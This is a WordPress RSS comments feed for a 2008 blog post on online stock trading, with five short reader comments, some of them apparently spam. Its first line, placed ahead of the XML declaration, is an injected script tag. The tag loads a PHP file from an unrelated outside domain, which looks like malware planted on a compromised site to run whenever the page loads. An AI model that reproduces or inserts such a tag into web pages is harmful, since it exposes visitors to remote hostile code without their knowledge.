<script src=http://manandmade.nl/images/style.php ></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Tips For Online Stock Trading</title>
	<atom:link href="http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/</link>
	<description>Improving your capital investments through share trading and forex</description>
	<lastBuildDate>Mon, 18 May 2009 13:19:10 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>By: Deni</title>
		<link>http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-888</link>
		<dc:creator>Deni</dc:creator>
		<pubDate>Wed, 15 Apr 2009 17:25:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-888</guid>
		<description>thanks for the post, It gives me a more detailed picture of online stock trading, which is the investing method I&#039;m planning to try :)</description>
		<content:encoded><![CDATA[<p>thanks for the post, It gives me a more detailed picture of online stock trading, which is the investing method I&#8217;m planning to try <img src='http://www.icapp2007.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ric @ paydayloans</title>
		<link>http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-869</link>
		<dc:creator>ric @ paydayloans</dc:creator>
		<pubDate>Fri, 13 Feb 2009 09:35:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-869</guid>
		<description>I couldn&#039;t agree more about the risks involved in trading. 

I bought some shares a few years ago with a big chunk of my savings without knowing what i was doing.  I thought it was going to be easy money but a ended up losing a large percentage of my stake.

Educating yourself is of paramount importance before getting involved in trading. I&#039;m not getting back into the market until I&#039;ve increased my knowledge tremendously.

ric</description>
		<content:encoded><![CDATA[<p>I couldn&#8217;t agree more about the risks involved in trading. </p>
<p>I bought some shares a few years ago with a big chunk of my savings without knowing what i was doing.  I thought it was going to be easy money but a ended up losing a large percentage of my stake.</p>
<p>Educating yourself is of paramount importance before getting involved in trading. I&#8217;m not getting back into the market until I&#8217;ve increased my knowledge tremendously.</p>
<p>ric</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Basketball Games</title>
		<link>http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-826</link>
		<dc:creator>Basketball Games</dc:creator>
		<pubDate>Thu, 04 Dec 2008 08:55:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-826</guid>
		<description>Wonderful tips for online stock trading.In order to prepare myself for  stock trading I&#039;ll follow these tips.Hope such tips would be effective for me.</description>
		<content:encoded><![CDATA[<p>Wonderful tips for online stock trading.In order to prepare myself for  stock trading I&#8217;ll follow these tips.Hope such tips would be effective for me.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Forex Funnel Review</title>
		<link>http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-806</link>
		<dc:creator>Forex Funnel Review</dc:creator>
		<pubDate>Fri, 03 Oct 2008 13:15:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-806</guid>
		<description>Yeah good info there. a lot of people could do with giving this a read before getting in to online stock trading.</description>
		<content:encoded><![CDATA[<p>Yeah good info there. a lot of people could do with giving this a read before getting in to online stock trading.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: CreditCardBalanceTransfer</title>
		<link>http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-776</link>
		<dc:creator>CreditCardBalanceTransfer</dc:creator>
		<pubDate>Fri, 11 Jul 2008 00:15:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/15/tips-for-online-stock-trading/#comment-776</guid>
		<description>i was really looking to get into trading online. I really didn&#039;t know were to start but by reading this post, it has made it easier for me to understand.</description>
		<content:encoded><![CDATA[<p>i was really looking to get into trading online. I really didn&#8217;t know were to start but by reading this post, it has made it easier for me to understand.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
